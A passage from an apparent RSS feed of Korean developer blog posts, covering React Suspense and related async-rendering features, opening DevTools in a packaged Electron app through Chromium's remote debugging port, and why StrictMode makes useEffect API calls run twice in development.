<li>코드 스플리팅은 가능하지만 “대기 UI”는 직접 만들어야 하고</li>
<li>렌더링 중 깜빡임(Flash)이 생기고</li>
<li>데이터가 늦게 도착하면 빈 화면이 잠깐 노출되고…</li>
</ul>
<p>React 팀은 어느 순간 이렇게 결론을 내립니다.</p>
<blockquote>
<p>“비동기는 UI의 일부이므로, UI 프레임워크인 React가 이걸 직접 통제해야 한다.”</p>
</blockquote>
<p>그 결론의 첫 번째 산물이 바로 <strong>Suspense</strong>입니다.</p>
<p>그리고 나머지 기술들은 이 Suspense라는 개념을 중심으로 확장된 애들입니다.</p>
<p>이 글에서는 기술 이름만 나열하지 않고,</p>
<ul>
<li>✔ 왜 등장했는지 (발생 배경)</li>
<li>✔ 어떤 구조적 문제를 해결했는지 (개념)</li>
<li>✔ 내부적으로 어떻게 작동하는지 (메커니즘)</li>
<li>✔ 언제 쓰는지 (사용 시점 예시)</li>
</ul>
<p>이 네 가지 축으로 길게 정리해보겠습니다.</p>
<hr>
<h2 id="1-🎯-react의-근본적-한계-ui는-동기적이다라는-오래된-가정">1. 🎯 React의 근본적 한계: “UI는 동기적이다”라는 오래된 가정</h2>
<p>React는 초기에 <strong>“상태 → UI”</strong>라는 동기적 렌더링 모델을 기반으로 설계됐습니다.</p>
<p>즉, <strong>렌더링 시점에는 모든 데이터가 이미 존재한다</strong>고 가정한 거죠.</p>
<p>하지만 실제 애플리케이션은 다음처럼 비동기 투성이입니다.</p>
<ul>
<li>API에서 데이터 가져오기</li>
<li>Lazy 로딩된 컴포넌트 불러오기</li>
<li>사용자 인터랙션에 따른 추가 데이터 조회</li>
<li>SSR/CSR 간 데이터 교환</li>
<li>리소스 로딩(이미지, 폰트, 스크립트 등)</li>
</ul>
<p>이 비동기 흐름을 React는 “외부 상태”나 “사용자 정의 로직”으로 해결하게 만들었습니다.</p>
<p>그 때문에 애플리케이션 구조는 자연스럽게 이렇게 변해갔습니다.</p>
<ul>
<li>❌ 컴포넌트마다 <code>isLoading</code>, <code>error</code>를 도배</li>
<li>❌ 데이터 도착 전 UI가 잠깐 깨져 보임</li>
<li>❌ 코드 스플리팅했는데 로딩 UI는 직접 구현</li>
<li>❌ 에러 발생 시 화면 전체가 죽어버림</li>
<li>❌ 렌더링이 비동기로 인해 뒤틀리는 현상(깜빡임, 빈 화면)</li>
</ul>
<p>이건 React의 “버그”라기보다는,</p>
<p>애초에 React가 <strong>비동기를 렌더링 모델 안에 포함시키지 않았기 때문</strong>입니다.</p>
<p>그러니 React는 이런 질문을 하게 됩니다.</p>
<blockquote>
<p>“비동기를 UI 렌더링의 일부로 만들 수 없을까?”</p>
</blockquote>
<p>Suspense는 바로 그 질문에 대한 첫 번째 대답입니다.</p>
<hr>
<h2 id="2-🍱-reactlazy--코드-스플리팅을-react의-비동기로-만들다">2. 🍱 React.lazy — 코드 스플리팅을 “React의 비동기”로 만들다</h2>
<h3 id="2-1-코드-스플리팅의-등장-배경">2-1. 코드 스플리팅의 등장 배경</h3>
<p>프론트엔드 앱이 커지면서 JS 번들은 점점 커졌고,</p>
<p>SPA 특성상 <strong>안 쓰는 페이지 JS까지 처음에 다 들고 오는</strong> 문제가 생겼습니다.</p>
<p>그래서 Webpack / Vite 같은 도구가 코드 스플리팅을 제공하기 시작했죠.</p>
<p>하지만 이 상태에서는 이런 문제가 남아 있었습니다.</p>
<blockquote>
<p>“번들은 쪼개지는데, 그게 로딩 중인지 아닌지 React는 모른 척한다.”</p>
</blockquote>
<p>그래서 예전에는 이런 코드가 많았습니다.</p>
<pre><code class="language-tsx">// (예전에 흔히 보던 패턴 – 직접 상태 관리)
function LazySettingsWrapper() {
  const [Settings, setSettings] = React.useState&lt;React.ComponentType | null&gt;(null);

  React.useEffect(() =&gt; {
    import(&#39;./Settings&#39;).then(mod =&gt; {
      setSettings(() =&gt; mod.default);
    });
  }, []);

  if (!Settings) {
    return &lt;div&gt;설정 화면 불러오는 중...&lt;/div&gt;;
  }

  return &lt;Settings /&gt;;
}
</code></pre>
<ul>
<li>모듈 로딩 상태를 직접 관리해야 하고</li>
<li>로딩 UI도 매번 직접 짜야 하고</li>
<li>에러 처리도 따로 해야 합니다.</li>
</ul>
<p>React는 이걸 “React가 직접 지원해야 하는 영역”이라고 보고,</p>
<p><strong>React.lazy</strong>를 도입합니다.</p>
<pre><code class="language-tsx">const Settings = React.lazy(() =&gt; import(&#39;./Settings&#39;));
</code></pre>
<p>이 한 줄은 단순히 “동적 import”가 아닙니다.</p>
<blockquote>
<p>내부적으로는 렌더링 중에 Promise를 던지는 컴포넌트가 됩니다.</p>
</blockquote>
<p>즉, 렌더링 중에 이 컴포넌트를 만나면 흐름이 이렇게 바뀝니다.</p>
<blockquote>
<p>렌더링 → Promise throw → “대기 필요”</p>
</blockquote>
<p>근데 아직 React는 이 Promise를 받을 줄 모릅니다.</p>
<p>이 Promise를 받아서, “잠깐 이 UI 대신 다른 걸 보여주자”를 처리해주는 애가 바로 <strong>Suspense</strong>입니다.</p>
<h3 id="2-2-reactlazy--suspense-기본-사용-예시">2-2. React.lazy + Suspense 기본 사용 예시</h3>
<pre><code class="language-tsx">import React, { Suspense } from &#39;react&#39;;

const SettingsPage = React.lazy(() =&gt; import(&#39;./SettingsPage&#39;));

export function App() {
  return (
    &lt;Suspense fallback={&lt;div&gt;설정 화면 불러오는 중...&lt;/div&gt;}&gt;
      &lt;SettingsPage /&gt;
    &lt;/Suspense&gt;
  );
}
</code></pre>
<ul>
<li><code>SettingsPage</code>는 아직 안 받아온 상태일 수 있고</li>
<li>그 동안 Suspense가 <code>fallback</code>을 렌더링해줍니다.</li>
</ul>
<blockquote>
<p>여기서 이미 “비동기 로딩을 UI 렌더링의 일부로 넣는다”는 개념이 시작됩니다.</p>
</blockquote>
<hr>
<h2 id="3-🎬-suspense--렌더링-중-비동기-대기를-정식-기능으로-넣은-기술">3. 🎬 Suspense — 렌더링 중 비동기 “대기”를 정식 기능으로 넣은 기술</h2>
<p>Suspense를 잘 모르면 흔히 이렇게 생각하기 쉽습니다.</p>
<blockquote>
<p>“아, 로딩 스피너 보여주는 컴포넌트지?”</p>
</blockquote>
<p>절반은 맞고, 절반은 틀렸습니다.</p>
<p>Suspense의 본질은 <strong>“렌더링 중 발생한 비동기를 React가 직접 처리하는 것”</strong>입니다.</p>
<h3 id="3-1-suspense는-dom을-어떻게-다룰까">3-1. Suspense는 DOM을 어떻게 다룰까?</h3>
<p>중요한 포인트는 이겁니다.</p>
<blockquote>
<p>Suspense는 DOM을 직접 조작하지 않고,</p>
<p><strong>“렌더링 과정을 제어”</strong>합니다.</p>
</blockquote>
<p>대략적인 흐름은 이렇습니다.</p>
<ol>
<li>Suspense 아래에 있는 컴포넌트가 <code>Promise</code>를 던짐<ul>
<li>예) <code>React.lazy</code>, React Query <code>suspense: true</code>, 커스텀 리소스 래퍼 등</li>
</ul>
</li>
<li>React는 지금 진행 중인 렌더링을 <strong>중단</strong>함</li>
<li><strong>가장 가까운 <code>Suspense</code> Boundary</strong>를 찾음</li>
<li>그 Boundary에 정의된 <code>fallback</code> UI를 대신 렌더링</li>
<li><code>Promise</code>가 resolve되면<ul>
<li>React가 다시 원래 렌더링을 이어서 수행</li>
<li>기존 <code>fallback</code> DOM은 사라지고, 실제 UI로 자연스럽게 교체</li>
</ul>
</li>
</ol>
<p>즉, <strong>“fallback → 실제 UI”</strong>로 부드럽게 전환되는 전체 과정을</p>
<p>React 렌더링 엔진이 직접 관리하게 됩니다.</p>
<h3 id="3-2-suspense를-쓸-때-체감되는-효과">3-2. Suspense를 쓸 때 체감되는 효과</h3>
<p>이 방식 덕분에:</p>
<ul>
<li>로딩 상태가 컴포넌트 깊은 곳에 흩어지지 않고</li>
<li><em>“어디까지를 하나의 로딩 단위로 볼 건지”*</em>를 Boundary로 명확하게 자를 수 있고</li>
<li>화면이 깜빡이거나, 잠깐 빈 영역이 보이는 문제를 줄일 수 있습니다.</li>
</ul>
<p>예를 들어 이런 식입니다.</p>
<pre><code class="language-tsx">// 대시보드 전체를 하나의 Suspense boundary로 감싸는 예시
function Dashboard() {
  return (
    &lt;Suspense fallback={&lt;div&gt;대시보드 로딩 중...&lt;/div&gt;}&gt;
      &lt;UserSummary /&gt;   {/* 내부에서 데이터 패칭 */}
      &lt;ActivityChart /&gt; {/* 내부에서 데이터 패칭 */}
      &lt;NotificationList /&gt; {/* 내부에서 데이터 패칭 */}
    &lt;/Suspense&gt;
  );
}
</code></pre>
<p>각 컴포넌트가 알아서 비동기를 던지고,</p>
<p>Suspense가 그 전체를 하나의 “로딩 화면”으로 묶어줍니다.</p>
<p>좀 더 세분화하고 싶다면, 이런 식도 가능합니다.</p>
<pre><code class="language-tsx">function Dashboard() {
  return (
    &lt;div&gt;
      &lt;Suspense fallback={&lt;div&gt;프로필 불러오는 중...&lt;/div&gt;}&gt;
        &lt;UserSummary /&gt;
      &lt;/Suspense&gt;

      &lt;Suspense fallback={&lt;div&gt;활동 차트 로딩 중...&lt;/div&gt;}&gt;
        &lt;ActivityChart /&gt;
      &lt;/Suspense&gt;
    &lt;/div&gt;
  );
}
</code></pre>
<p>Boundary를 어떻게 나눌지에 따라</p>
<p><strong>“사용자가 어디까지를 하나의 화면으로 인식할지”</strong>를 설계할 수 있습니다.</p>
<hr>
<h2 id="4-🛡-errorboundary--suspense와-100-맞물려-돌아가는-에러-복구-메커니즘">4. 🛡 ErrorBoundary — Suspense와 100% 맞물려 돌아가는 에러 복구 메커니즘</h2>
<p>여기까지 보면 Suspense는 <strong>“대기(loading)”</strong>만 해결합니다.</p>
<p>그러면 <strong>“실패(error)”</strong>는 누가 처리할까요?</p>
<blockquote>
<p>대답: Suspense가 아니라, ErrorBoundary입니다.</p>
</blockquote>
<h3 id="4-1-errorboundary의-동작-흐름">4-1. ErrorBoundary의 동작 흐름</h3>
<p>React는 렌더링 중 에러가 발생하면 아래와 같이 동작합니다.</p>
<ol>
<li>렌더링 중 Error가 <code>throw</code>됨</li>
<li>React는 렌더링을 중단</li>
<li>가장 가까운 <code>&lt;ErrorBoundary&gt;</code>를 찾음</li>
<li>그 Boundary의 <code>fallback</code> UI를 렌더링하여 안전하게 복구</li>
</ol>
<p><strong>Suspense = “기다림” 담당</strong></p>
<p><strong>ErrorBoundary = “실패” 담당</strong></p>
<p>둘이 세트라고 보면 됩니다.</p>
<h3 id="4-2-errorboundary-예시">4-2. ErrorBoundary 예시</h3>
<pre><code class="language-tsx">// 클래스형 컴포넌트로만 공식 지원
class RootErrorBoundary extends React.Component&lt;
  { children: React.ReactNode },
  { hasError: boolean }
&gt; {
  constructor(props: any) {
    super(props);
    this.state = { hasError: false };
  }

  static getDerivedStateFromError() {
    return { hasError: true };
  }

  componentDidCatch(error: any, info: any) {
    console.error(&#39;[ErrorBoundary]&#39;, error, info);
  }

  render() {
    if (this.state.hasError) {
      return &lt;div&gt;문제가 발생했습니다. 잠시 후 다시 시도해 주세요.&lt;/div&gt;;
    }
    return this.props.children;
  }
}

// Suspense와 함께 사용
function App() {
  return (
    &lt;RootErrorBoundary&gt;
      &lt;Suspense fallback={&lt;div&gt;전체 앱 로딩 중...&lt;/div&gt;}&gt;
        &lt;MainRouter /&gt;
      &lt;/Suspense&gt;
    &lt;/RootErrorBoundary&gt;
  );
}
</code></pre>
<ul>
<li>비동기 로딩 중에는 Suspense가 처리</li>
<li>비동기 실패(또는 동기 에러)는 ErrorBoundary가 처리</li>
</ul>
<p>이렇게 되면:</p>
<ul>
<li>API 하나 터졌다고 전체 앱이 흰 화면이 되는 걸 막을 수 있고</li>
<li>“특정 영역만 에러 UI로 교체” 같은 UX를 설계할 수 있습니다.</li>
</ul>
<hr>
<h2 id="5-🔗-react-query--suspense--데이터-패칭을-react-렌더링-모델에-완전히-편입">5. 🔗 React Query + Suspense — 데이터 패칭을 React 렌더링 모델에 완전히 편입</h2>
<p>React Query를 쓸 때 가장 익숙한 패턴은 이거일 겁니다.</p>
<pre><code class="language-tsx">const { data, isLoading, isError } = useQuery({
  queryKey: [&#39;user&#39;, userId],
  queryFn: fetchUser,
});

if (isLoading) return &lt;div&gt;로딩 중...&lt;/div&gt;;
if (isError) return &lt;div&gt;에러…&lt;/div&gt;;
</code></pre>
<p>이 방식의 단점은:</p>
<ul>
<li>컴포넌트마다 로딩/에러 조건문이 반복되고</li>
<li>로딩 UI가 페이지 전역에서 제각각 만들어지고</li>
<li>중첩 컴포넌트 구조에서는 가독성이 급격히 떨어진다는 점입니다.</li>
</ul>
<p>React 18 이후, React Query는 <code>suspense: true</code>를 지원하면서 완전히 다른 그림이 나옵니다.</p>
<pre><code class="language-tsx">// React Query + Suspense 사용
const { data } = useQuery({
  queryKey: [&#39;user&#39;, userId],
  queryFn: fetchUser,
  suspense: true,  // 핵심
});
</code></pre>
<p>이제 내부적으로는 이렇게 동작합니다.</p>
<ul>
<li>로딩 중 → <code>Promise</code>를 던짐 → Suspense에서 <code>fallback</code> 렌더</li>
<li>실패 → Error를 던짐 → ErrorBoundary에서 복구</li>
<li>성공 → 정상적으로 데이터 사용</li>
</ul>
<p>예시를 한 번에 정리하면:</p>
<pre><code class="language-tsx">function UserProfile() {
  const { data: user } = useQuery({
    queryKey: [&#39;user&#39;, 1],
    queryFn: fetchUser,
    suspense: true,
  });

  return &lt;div&gt;{user.name}님 안녕하세요.&lt;/div&gt;;
}

function App() {
  return (
    &lt;RootErrorBoundary&gt;
      &lt;Suspense fallback={&lt;div&gt;사용자 정보를 불러오는 중입니다...&lt;/div&gt;}&gt;
        &lt;UserProfile /&gt;
      &lt;/Suspense&gt;
    &lt;/RootErrorBoundary&gt;
  );
}
</code></pre>
<p>여기서 포인트는:</p>
<ul>
<li><code>UserProfile</code> 내부에는 <code>isLoading</code>, <code>isError</code>가 사라지고</li>
<li><strong>로딩/에러 처리는 “위에서 한 번에”</strong> 잡아줄 수 있다는 점입니다.</li>
</ul>
<p>실제 프로젝트가 커지면, 이 구조가 생각보다 엄청 시원해집니다.</p>
<hr>
<h2 id="6-🌊-server-components--streaming--suspense가-만들어낸-ssr-진화">6. 🌊 Server Components + Streaming — Suspense가 만들어낸 SSR 진화</h2>
<p>Next.js 13 이후 도입된 <strong>Server Components / Streaming</strong>도 사실 Suspense 위에 서 있는 기능입니다.</p>
<p>아이디어는 단순합니다.</p>
<blockquote>
<p>“서버에서 준비된 부분만 먼저 보내고,</p>
<p>아직 안 된 부분은 Suspense fallback으로 대체해서 보낸 다음,</p>
<p>준비되면 해당 부분만 교체하자.”</p>
</blockquote>
<h3 id="6-1-아주-간단한-예시-느낌">6-1. 아주 간단한 예시 느낌</h3>
<pre><code class="language-tsx">// app/page.tsx (Next.js 13+ 예시 느낌)
import { Suspense } from &#39;react&#39;;
import UserFeed from &#39;./UserFeed&#39;;

export default function Page() {
  return (
    &lt;&gt;&lt;h1&gt;대시보드&lt;/h1&gt;
      &lt;Suspense fallback={&lt;div&gt;피드 로딩 중...&lt;/div&gt;}&gt;
        {/* 서버에서 데이터 패칭 후 스트리밍 */}
        &lt;UserFeed /&gt;
      &lt;/Suspense&gt;
    &lt;/&gt;
  );
}
</code></pre>
<p>실제로는 서버가:</p>
<ol>
<li><code>&lt;h1&gt;대시보드&lt;/h1&gt;</code>와 <code>fallback</code>을 먼저 내려보내고</li>
<li><code>UserFeed</code> 데이터가 준비되면</li>
<li>해당 영역만 치환하는 방식으로 동작합니다.</li>
</ol>
<p>이 구조 덕분에:</p>
<ul>
<li>초기 렌더링 체감 속도가 빨라지고</li>
<li>네트워크 지연이 덜 답답해지고</li>
<li>JS 번들 크기도 줄어들고</li>
<li>UX가 훨씬 자연스러워집니다.</li>
</ul>
<p>이 모든 게 가능한 이유가 바로 <strong>“부분적으로 UI를 대체하고 다시 복구한다”</strong>는 Suspense 모델이 존재하기 때문입니다.</p>
<hr>
<h2 id="7-🎛-결국-이-기술들은-하나의-흐름이다">7. 🎛 결국 이 기술들은 하나의 흐름이다</h2>
<p>정리해보면:</p>
<table>
<thead>
<tr>
<th>기술</th>
<th>해결하려는 문제</th>
<th>Suspense와의 관계</th>
</tr>
</thead>
<tbody><tr>
<td><strong>React.lazy</strong></td>
<td>코드 스플리팅 시 “로딩 중” 상태 처리</td>
<td>Promise를 던져서 Suspense가 받도록 함</td>
</tr>
<tr>
<td><strong>Suspense</strong></td>
<td>비동기 렌더링 전체를 React가 직접 제어</td>
<td>모든 비동기 흐름의 중심 엔진</td>
</tr>
<tr>
<td><strong>ErrorBoundary</strong></td>
<td>비동기/동기 에러를 안전하게 복구</td>
<td>Suspense가 못 잡는 “실패”를 담당</td>
</tr>
<tr>
<td><strong>React Query + Suspense</strong></td>
<td>데이터 패칭 로딩/에러를 렌더링 모델로 통합</td>
<td>Promise/Error를 던져 Suspense/EB에 위임</td>
</tr>
<tr>
<td><strong>Server Components/Streaming</strong></td>
<td>SSR에서 부분 렌더링/스트리밍</td>
<td>Suspense를 기반으로 부분적인 UI 교체</td>
</tr>
</tbody></table>
<p>즉, 이 기술들은 따로 떨어진 기능 목록이 아니라</p>
<p><strong>“React 렌더링 모델의 진화 과정에서 등장한 한 계보”</strong>에 가깝습니다.</p>
<blockquote>
<p>공통된 철학은 항상 하나입니다.</p>
<p><strong>“UI와 비동기를, React가 직접 통제하겠다.”</strong></p>
</blockquote>
<hr>
<h2 id="8-🌱-suspense를-제대로-쓰기-위한-사전-조건">8. 🌱 Suspense를 제대로 쓰기 위한 사전 조건</h2>
<p>Suspense는 강력하지만, “그냥 아무 데나 막 꽂아 넣으면 좋은 기능”은 아닙니다.</p>
<p>개인적으로는 아래 같은 상황에서 특히 잘 맞는다고 느꼈습니다.</p>
<ul>
<li>✔ 비동기 로직이 컴포넌트 곳곳에 섞여 있을 때</li>
<li>✔ 로딩/에러 UI를 <strong>일관되게</strong> 관리하고 싶을 때</li>
<li>✔ 페이지/기능 단위 코드 스플리팅을 적용하고 싶을 때</li>
<li>✔ 여러 API를 병렬로 호출하면서도 깔끔한 UI 흐름을 만들고 싶을 때</li>
<li>✔ Next.js처럼 SSR/Streaming까지 염두에 둔 구조를 만들고 싶을 때</li>
</ul>
<p>이럴 때 <strong>“Suspense + ErrorBoundary + (React Query or lazy)”</strong> 조합이 진짜 빛을 발합니다.</p>
<hr>
<h2 id="🎉-마지막-요약">🎉 마지막 요약</h2>
<p>Suspense는 <strong>“로딩 스피너 보여주는 컴포넌트”</strong>가 아닙니다.</p>
<p>Suspense는 React가 <strong>비동기 UI 전체를 스스로 통제하기 시작한 첫 번째 기술</strong>입니다.</p>
<blockquote>
<p>비동기 → 대기 → 복구 → 렌더링</p>
</blockquote>
<p>이 전체 사이클을 <strong>React 내부 엔진이 책임지는 구조</strong>로 바꾸면서,</p>
<ul>
<li>깜빡임 없는 UI</li>
<li>일관된 로딩/에러 처리</li>
<li>코드 스플리팅의 자연스러운 적용</li>
<li>SSR Streaming 같은 차세대 기능</li>
</ul>
<p>이런 것들이 한 줄로 이어지기 시작했습니다.</p>
<p>개인적으로는,</p>
<blockquote>
<p>“Suspense를 이해하는 순간</p>
<p>‘React 생태계 전체가 왜 이런 방향으로 진화하고 있는지’가</p>
<p>훨씬 명확하게 보인다”</p>
</blockquote>
<p>라는 느낌이 들었습니다.</p>
]]></description>
        </item>
        <item>
            <title><![CDATA[🚀 Electron 배포  `devTools: false` 막힌 버전에서 DevTools 여는 법]]></title>
            <link>https://velog.io/@songyeonji_/Electron-%EB%B0%B0%ED%8F%AC-devTools-false-%EB%A7%89%ED%9E%8C-%EB%B2%84%EC%A0%84%EC%97%90%EC%84%9C-DevTools-%EC%97%AC%EB%8A%94-%EB%B2%95</link>
            <guid>https://velog.io/@songyeonji_/Electron-%EB%B0%B0%ED%8F%AC-devTools-false-%EB%A7%89%ED%9E%8C-%EB%B2%84%EC%A0%84%EC%97%90%EC%84%9C-DevTools-%EC%97%AC%EB%8A%94-%EB%B2%95</guid>
            <pubDate>Wed, 26 Nov 2025 03:04:40 GMT</pubDate>
            <description><![CDATA[<p><img src="https://velog.velcdn.com/images/songyeonji_/post/7bee0287-a6e8-45e5-85ee-eb629c490105/image.png" alt=""></p>
<p><em>— 다시 빌드하기 싫을 때 꼭 필요한 꿀팁입니다</em></p>
<p>Electron 개발을 하다 보면, 이런 순간이 꼭 찾아옵니다.</p>
<p>개발 모드에서는 정말 말 잘 듣던 앱이</p>
<p>배포 모드(Prod)만 올라가면 갑자기 태도가 달라지는 순간이요.</p>
<ul>
<li>무한 로딩만 뱅글뱅글 돈다든지</li>
<li>특정 페이지에서 멈춘다든지</li>
<li>엔진 IPC만 Prod에서 실패한다든지</li>
<li>심지어 콘솔도 안 찍혀서 뭐가 문제인지 감도 안 잡히는…</li>
</ul>
<p>게다가 더 난감한 건,</p>
<p><strong>“아… 제가 DevTools를 막아놨죠…”</strong></p>
<p>이겁니다.</p>
<p>보안을 위해 <code>devTools: false</code> 넣어놨거나</p>
<p>빌드할 때 콘솔 제거 플러그인까지 적용해놓아서</p>
<p><strong>배포된 exe에서는 DevTools를 열 수 없는 상황</strong>이 됩니다.</p>
<p>이때, 보통 떠올리는 해결책은 두 가지입니다.</p>
<ol>
<li>DevTools 다시 열리게 코드 고치고 →</li>
<li>빌드 → 패키징 → 설치 → 다시 테스트</li>
</ol>
<p>하지만…</p>
<p>솔직히 이 과정, 한 번 하면 괜찮은데</p>
<p>버그가 계속 바뀌기라도 하면 정말 피곤해집니다.</p>
<p>그래서 저는 결국 방법을 찾아냈습니다.</p>
<hr>
<h1 id="✨-결론부터-말하자면">✨ 결론부터 말하자면,</h1>
<p><strong>배포된 exe 그대로 DevTools를 열 수 있습니다.</strong></p>
<p>다시 빌드하지 않아도 됩니다.</p>
<p>코드를 한 줄도 고칠 필요 없습니다.</p>
<p>심지어 devTools를 false로 막아놔도 가능합니다.</p>
<p>Electron의 정체는 결국 <strong>Chromium 기반 브라우저</strong>입니다.</p>
<p>그리고 Chrome에는 공식적으로 “원격 디버깅 포트(Remote Debugging Port)”라는 기능이 있습니다.</p>
<p>이걸 Electron에서도 그대로 활용할 수 있습니다.</p>
<p>즉, 앱을 실행할 때 아래 옵션 한 줄만 붙이면 됩니다.</p>
<pre><code>--remote-debugging-port=9222
</code></pre><p>이게 끝입니다.</p>
<hr>
<h1 id="🔧-방법-배포된-exe에서-devtools-강제로-열기">🔧 방법: 배포된 exe에서 DevTools 강제로 열기</h1>
<h2 id="1-cmd명령-프롬프트를-실행합니다">1. CMD(명령 프롬프트)를 실행합니다.</h2>
<p>윈도우키 → <code>cmd</code> → 엔터</p>
<h2 id="2-배포된-exe가-있는-폴더로-이동합니다">2. 배포된 exe가 있는 폴더로 이동합니다.</h2>
<p>예를 들어 앱이 여기 설치돼 있다고 가정하면:</p>
<pre><code>C:\Users\사용자명\AppData\Local\Programs\YourApp
</code></pre><p>명령어는:</p>
<pre><code class="language-bash">cd &quot;C:\Users\사용자명\AppData\Local\Programs\YourApp&quot;
</code></pre>
<h2 id="3-앱을-디버깅-포트와-함께-실행합니다">3. 앱을 디버깅 포트와 함께 실행합니다.</h2>
<pre><code class="language-bash">YourApp.exe --remote-debugging-port=9222
</code></pre>
<p>이렇게 실행한 순간부터 Electron 내부의 Chromium은</p>
<p>디버깅용 포트(9222)를 열어놓게 됩니다.</p>
<p>앱은 그대로 정상 실행됩니다.</p>
<p>코드도 건드린 적 없습니다.</p>
<p>하지만 Chromium은 “디버깅 연결 준비 완료” 상태가 됩니다.</p>
<h2 id="4-chrome-브라우저에서-devtools로-접속합니다">4. Chrome 브라우저에서 DevTools로 접속합니다.</h2>
<p>Chrome 주소창에 입력합니다:</p>
<pre><code>chrome://inspect
</code></pre><p>→ “Discover network targets” 클릭</p>
<p>→ <code>localhost:9222</code> 추가
<img src="https://velog.velcdn.com/images/songyeonji_/post/5f3e0b34-3c3e-48dd-ba66-fd66af6dbca8/image.png" alt=""></p>
<p>→ 아래쪽 “Remote Target”에 Electron 프로세스가 뜹니다.
<img src="https://velog.velcdn.com/images/songyeonji_/post/dcff2e4e-53c5-4d52-8fb2-ba44dff66db8/image.png" alt=""></p>
<p>→ <strong>Inspect</strong> 버튼을 클릭합니다.</p>
<p>그러면 바로 DevTools가 열립니다.
<img src="https://velog.velcdn.com/images/songyeonji_/post/af50794c-692a-49e9-bd4d-2c22d0a9f4d3/image.png" alt=""></p>
<p>Elements, Console, Network, Sources, Performance, Application…</p>
<p>배포 모드에서만 보이는 그 문제들을</p>
<p>그 자리에서 그대로 확인할 수 있습니다.</p>
<hr>
<h1 id="🎁-이-방법의-장점">🎁 이 방법의 장점</h1>
<h3 id="✔-devtools-false여도-무조건-열립니다">✔ devTools: false여도 무조건 열립니다</h3>
<p>Electron 옵션으로 막혀 있어도 상관없습니다.</p>
<h3 id="✔-콘솔-제거-플러그인-적용돼-있어도-networkelements는-완전히-보입니다">✔ 콘솔 제거 플러그인 적용돼 있어도 Network/Elements는 완전히 보입니다</h3>
<p>remove-console 같은 플러그인 적용돼도 콘솔만 사라질 뿐,</p>
<p>디버깅 포트 연결은 그대로 가능합니다.</p>
<h3 id="✔-asar로-압축된-배포-버전에서도-당연히-가능합니다">✔ asar로 압축된 배포 버전에서도 당연히 가능합니다</h3>
<p>app.asar이든 unpacked든 관계 없습니다.</p>
<h3 id="✔-다시-빌드할-필요가-없습니다">✔ 다시 빌드할 필요가 없습니다</h3>
<p>코드 수정 → 빌드 → 패키징 → 설치…</p>
<p>이 반복 루프를 피할 수 있습니다.</p>
<h3 id="✔-생산성-급상승">✔ 생산성 급상승</h3>
<p>Prod 환경에서만 터지는 버그를 바로 캐치할 수 있습니다.</p>
<hr>
<h1 id="💬-마무리">💬 마무리</h1>
<p>Electron을 쓰다 보면 “개발 모드에서는 안 나는 버그가 왜 배포 모드에서만…” 이런 상황이 흔합니다.</p>
<p>그럴 때 DevTools까지 막혀 있다면 디버깅 자체가 막히기 쉽죠.</p>
<p>하지만 Electron은 브라우저 기반이기 때문에</p>
<p>이렇게 디버깅 포트만 열어주면 언제든 다시 DevTools를 연결할 수 있습니다.</p>
<p>저는 이 기능을 알고 난 후로</p>
<p>배포 빌드 다시 만드는 일이 절반으로 줄었습니다.</p>
<p>똑같은 문제를 겪고 있는 분들께 꼭 도움이 되었으면 합니다.</p>
]]></description>
        </item>
        <item>
            <title><![CDATA[ 왜 내 API가 두 번 호출될까?  왜 내 API가 두 번 호출될까? ]]></title>
            <link>https://velog.io/@songyeonji_/%EC%99%9C-%EB%82%B4-API%EA%B0%80-%EB%91%90-%EB%B2%88-%ED%98%B8%EC%B6%9C%EB%90%A0%EA%B9%8C-%EC%99%9C-%EB%82%B4-API%EA%B0%80-%EB%91%90-%EB%B2%88-%ED%98%B8%EC%B6%9C%EB%90%A0%EA%B9%8C</link>
            <guid>https://velog.io/@songyeonji_/%EC%99%9C-%EB%82%B4-API%EA%B0%80-%EB%91%90-%EB%B2%88-%ED%98%B8%EC%B6%9C%EB%90%A0%EA%B9%8C-%EC%99%9C-%EB%82%B4-API%EA%B0%80-%EB%91%90-%EB%B2%88-%ED%98%B8%EC%B6%9C%EB%90%A0%EA%B9%8C</guid>
            <pubDate>Mon, 29 Sep 2025 11:02:10 GMT</pubDate>
            <description><![CDATA[<p>React로 개발하다 보면, 분명히 <code>useEffect</code>에 한 번만 API를 넣었는데…</p>
<p><strong>API 요청 로그가 두 번씩 찍히는</strong> 현상을 경험하신 적 있으신가요?</p>
<p>저도 Electron + React 기반 사내 프로젝트를 하다가,</p>
<p>“어? 내 코드가 잘못된 건가? 서버가 중복 응답을 주는 건가?” 하고 한참을 헤맸습니다.</p>
<p>결론부터 말씀드리면, 이건 <strong>React StrictMode 때문</strong>입니다.</p>
<p>제 삽질 경험을 토대로, 왜 이런 일이 일어나는지, 배포에서는 어떤지,</p>
<p>그리고 제가 얻은 교훈까지 정리해보겠습니다.</p>
<hr>
<h2 id="1-strictmode란-무엇인가요">1. StrictMode란 무엇인가요?</h2>
<p>React의 <code>StrictMode</code>는 <strong>개발 모드에서만 실행되는 검증 도구</strong>입니다.</p>
<ul>
<li>코드에서 안전하지 않은 패턴을 찾고,</li>
<li>메모리 누수 가능성이 있는 코드를 조기에 발견하고,</li>
<li>사이드 이펙트(side effect) 실행 과정을 검증하기 위해</li>
</ul>
<p>React가 일부러 컴포넌트를 더 빡세게 실행합니다.</p>
<h3 id="왜-api-요청도-두-번-갈까">왜 API 요청도 두 번 갈까?</h3>
<p>StrictMode는 단순히 <strong>렌더링만 두 번</strong> 하는 게 아니라,</p>
<p><code>useEffect</code> 같은 부작용(side effect) 코드도 <strong>마운트 → 클린업 → 다시 마운트</strong> 흐름으로 반복 실행합니다.</p>
<p>즉, 코드가 이렇게 생겼다면:</p>
<pre><code class="language-tsx">useEffect(() =&gt; {
  fetchApi(); // API 호출
}, []);</code></pre>
<p>실행 순서는 이렇습니다:</p>
<ol>
<li>첫 번째 마운트 → <code>fetchApi()</code> 실행 → API 요청 1회</li>
<li>언마운트 &amp; 클린업</li>
<li>두 번째 마운트 → 다시 <code>fetchApi()</code> 실행 → API 요청 1회</li>
</ol>
<p>👉 <strong>결과적으로 API 요청이 2번 전송</strong>됩니다.</p>
<p>즉, 내 코드에는 문제가 없고, React가 일부러 그렇게 하는 겁니다.</p>
<h3 id="개발-모드-vs-배포-모드">개발 모드 vs 배포 모드</h3>
<ul>
<li><p><strong>개발 모드 (npm run start / vite dev 등)</strong></p>
<p>  StrictMode가 활성화되어 API 요청이 두 번 갑니다.</p>
</li>
<li><p><strong>배포 모드 (npm run build 후 실행, electron-builder 배포 등)</strong></p>
<p>  StrictMode 자체가 제거됩니다. 따라서 API는 <strong>정상적으로 한 번만 호출</strong>됩니다.</p>
</li>
</ul>
